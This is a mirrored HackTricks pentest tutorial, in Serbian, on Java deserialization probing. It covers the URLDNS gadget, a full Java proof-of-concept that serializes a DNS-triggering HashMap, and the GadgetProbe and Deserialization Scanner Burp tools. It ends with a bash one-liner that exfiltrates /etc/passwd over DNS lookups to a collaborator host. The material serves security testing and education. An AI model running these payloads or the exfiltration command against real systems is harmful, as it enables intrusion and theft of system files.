mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
188 lines
8.8 KiB
Markdown
188 lines
8.8 KiB
Markdown
# Java DNS Deserialization, GadgetProbe i Java Deserialization Scanner
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## DNS zahtev prilikom deserializacije
|
|
|
|
Klasa `java.net.URL` implementira `Serializable`, što znači da se ova klasa može serijalizovati.
|
|
```java
|
|
public final class URL implements java.io.Serializable {
|
|
```
|
|
Ova klasa ima **znatiželjno ponašanje.** Iz dokumentacije: “**Dva hosta se smatraju ekvivalentnim ako se oba imena hosta mogu rešiti u iste IP adrese**”.\
|
|
Tada, svaki put kada URL objekat pozove **bilo** koju od **funkcija `equals`** ili **`hashCode`**, **DNS zahtev** za dobijanje IP adrese će biti **poslat**.
|
|
|
|
**Pozivanje** funkcije **`hashCode`** **iz** **URL** objekta je prilično lako, dovoljno je da se ovaj objekat umetne unutar `HashMap` koja će biti deseralizovana. To je zato što se **na kraju** funkcije **`readObject`** iz `HashMap` izvršava ovaj kod:
|
|
```java
|
|
private void readObject(java.io.ObjectInputStream s)
|
|
throws IOException, ClassNotFoundException {
|
|
[ ... ]
|
|
for (int i = 0; i < mappings; i++) {
|
|
[ ... ]
|
|
putVal(hash(key), key, value, false, false);
|
|
}
|
|
```
|
|
Izvršiće `putVal` sa svakom vrednošću unutar `HashMap`. Ali, relevantniji je poziv `hash` sa svakom vrednošću. Ovo je kod funkcije `hash`:
|
|
```java
|
|
static final int hash(Object key) {
|
|
int h;
|
|
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
|
}
|
|
```
|
|
Kao što možete primetiti, **prilikom deserializacije** **`HashMap`** funkcija `hash` će **biti izvršena sa svakim objektom** i **tokom** izvršenja **`hash`** **biće izvršena** `.hashCode()` objekta. Stoga, ako **deserializujete** **`HashMap`** **koji sadrži** **URL** objekat, **URL objekat** će **izvršiti** `.hashCode()`.
|
|
|
|
Sada, hajde da pogledamo kod `URLObject.hashCode()`:
|
|
```java
|
|
public synchronized int hashCode() {
|
|
if (hashCode != -1)
|
|
return hashCode;
|
|
|
|
hashCode = handler.hashCode(this);
|
|
return hashCode;
|
|
```
|
|
Kao što možete videti, kada `URLObject` izvrši `.hashCode()`, poziva se `hashCode(this)`. U nastavku možete videti kod ove funkcije:
|
|
```java
|
|
protected int hashCode(URL u) {
|
|
int h = 0;
|
|
|
|
// Generate the protocol part.
|
|
String protocol = u.getProtocol();
|
|
if (protocol != null)
|
|
h += protocol.hashCode();
|
|
|
|
// Generate the host part.
|
|
InetAddress addr = getHostAddress(u);
|
|
[ ... ]
|
|
```
|
|
Možete videti da se `getHostAddress` izvršava za domen, **pokrećući DNS upit**.
|
|
|
|
Stoga, ova klasa može biti **zloupotrebljena** kako bi se **pokrenuo** **DNS upit** da **prikaže** da je **deserializacija** moguća, ili čak da **ekstrahuje informacije** (možete dodati kao poddomen izlaz izvršenja komande).
|
|
|
|
### URLDNS payload kod primer
|
|
|
|
Možete pronaći [URDNS payload kod od ysoserial ovde](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Međutim, samo da bi bilo lakše razumeti kako to kodirati, napravio sam svoj PoC (zasnovan na onom iz ysoserial):
|
|
```java
|
|
import java.io.File;
|
|
import java.io.FileInputStream;
|
|
import java.io.FileOutputStream;
|
|
import java.io.IOException;
|
|
import java.io.ObjectInputStream;
|
|
import java.io.ObjectOutputStream;
|
|
import java.lang.reflect.Field;
|
|
import java.net.InetAddress;
|
|
import java.net.URLConnection;
|
|
import java.net.URLStreamHandler;
|
|
import java.util.HashMap;
|
|
import java.net.URL;
|
|
|
|
public class URLDNS {
|
|
public static void GeneratePayload(Object instance, String file)
|
|
throws Exception {
|
|
//Serialize the constructed payload and write it to the file
|
|
File f = new File(file);
|
|
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
|
out.writeObject(instance);
|
|
out.flush();
|
|
out.close();
|
|
}
|
|
public static void payloadTest(String file) throws Exception {
|
|
//Read the written payload and deserialize it
|
|
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
|
Object obj = in.readObject();
|
|
System.out.println(obj);
|
|
in.close();
|
|
}
|
|
|
|
public static void main(final String[] args) throws Exception {
|
|
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
|
|
HashMap ht = new HashMap(); // HashMap that will contain the URL
|
|
URLStreamHandler handler = new SilentURLStreamHandler();
|
|
URL u = new URL(null, url, handler); // URL to use as the Key
|
|
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
|
|
|
|
// During the put above, the URL's hashCode is calculated and cached.
|
|
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
|
|
final Field field = u.getClass().getDeclaredField("hashCode");
|
|
field.setAccessible(true);
|
|
field.set(u, -1);
|
|
|
|
//Test the payloads
|
|
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
|
|
}
|
|
}
|
|
|
|
|
|
class SilentURLStreamHandler extends URLStreamHandler {
|
|
|
|
protected URLConnection openConnection(URL u) throws IOException {
|
|
return null;
|
|
}
|
|
|
|
protected synchronized InetAddress getHostAddress(URL u) {
|
|
return null;
|
|
}
|
|
}
|
|
```
|
|
### Više informacija
|
|
|
|
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
|
- U originalnoj ideji, payload za commons collections je promenjen da izvrši DNS upit, što je bilo manje pouzdano od predložene metode, ali ovo je post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
|
|
|
## GadgetProbe
|
|
|
|
Možete preuzeti [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) iz Burp Suite App Store-a (Extender).
|
|
|
|
**GadgetProbe** će pokušati da utvrdi da li neke **Java klase postoje** na Java klasi servera kako biste znali **da li** je **ranjiv** na neki poznati exploit.
|
|
|
|
### Kako to funkcioniše
|
|
|
|
**GadgetProbe** će koristiti isti **DNS payload iz prethodne sekcije** ali **pre** nego što izvrši DNS upit, pokušaće da **deserijalizuje proizvoljnu klasu**. Ako **proizvoljna klasa postoji**, **DNS upit** će biti **poslat** i GadgetProbe će zabeležiti da ova klasa postoji. Ako **DNS** zahtev **nikada nije poslat**, to znači da **proizvoljna klasa nije uspešno deserijalizovana**, tako da ili nije prisutna ili nije **serializabilna/eksploatisana**.
|
|
|
|
Unutar github-a, [**GadgetProbe ima neke rečnike**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) sa Java klasama za testiranje.
|
|
|
|
 (1).gif>)
|
|
|
|
### Više informacija
|
|
|
|
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
|
|
|
## Java Deserialization Scanner
|
|
|
|
Ovaj skener se može **preuzeti** iz Burp App Store-a (**Extender**).\
|
|
**Ekstenzija** ima **pasivne** i aktivne **mogućnosti**.
|
|
|
|
### Pasivno
|
|
|
|
Podrazumevano **pasivno proverava** sve zahteve i odgovore koji se šalju **tražeći** **Java serializovane magične bajtove** i predstaviće upozorenje o ranjivosti ako se neki pronađe:
|
|
|
|
.png>)
|
|
|
|
### Aktivno
|
|
|
|
**Ručno testiranje**
|
|
|
|
Možete odabrati zahtev, desni klik i `Send request to DS - Manual Testing`.\
|
|
Zatim, unutar _Deserialization Scanner Tab_ --> _Manual testing tab_ možete odabrati **tačku umetanja**. I **pokrenuti testiranje** (Odaberite odgovarajući napad u zavisnosti od korišćenog kodiranja).
|
|
|
|

|
|
|
|
Čak i ako se ovo naziva "Ručno testiranje", prilično je **automatsko**. Automatski će proveriti da li je **deserijalizacija** **ranjiva** na **bilo koji ysoserial payload** proveravajući biblioteke prisutne na web serveru i istaknuti one ranjive. Da biste **proverili** **ranjive biblioteke**, možete odabrati da pokrenete **Javas Sleeps**, **sleeps** putem **CPU** potrošnje, ili koristeći **DNS** kao što je prethodno pomenuto.
|
|
|
|
**Eksploatacija**
|
|
|
|
Kada identifikujete ranjivu biblioteku, možete poslati zahtev na _Exploiting Tab_.\
|
|
U ovoj kartici morate ponovo **odabrati** **tačku injekcije**, **napišite** **ranjivu biblioteku** za koju želite da kreirate payload, i **komandu**. Zatim, samo pritisnite odgovarajući **Attack** dugme.
|
|
|
|

|
|
|
|
### Java Deserialization DNS Exfil informacije
|
|
|
|
Neka vaš payload izvrši nešto poput sledećeg:
|
|
```bash
|
|
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
|
```
|
|
### Više Informacija
|
|
|
|
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|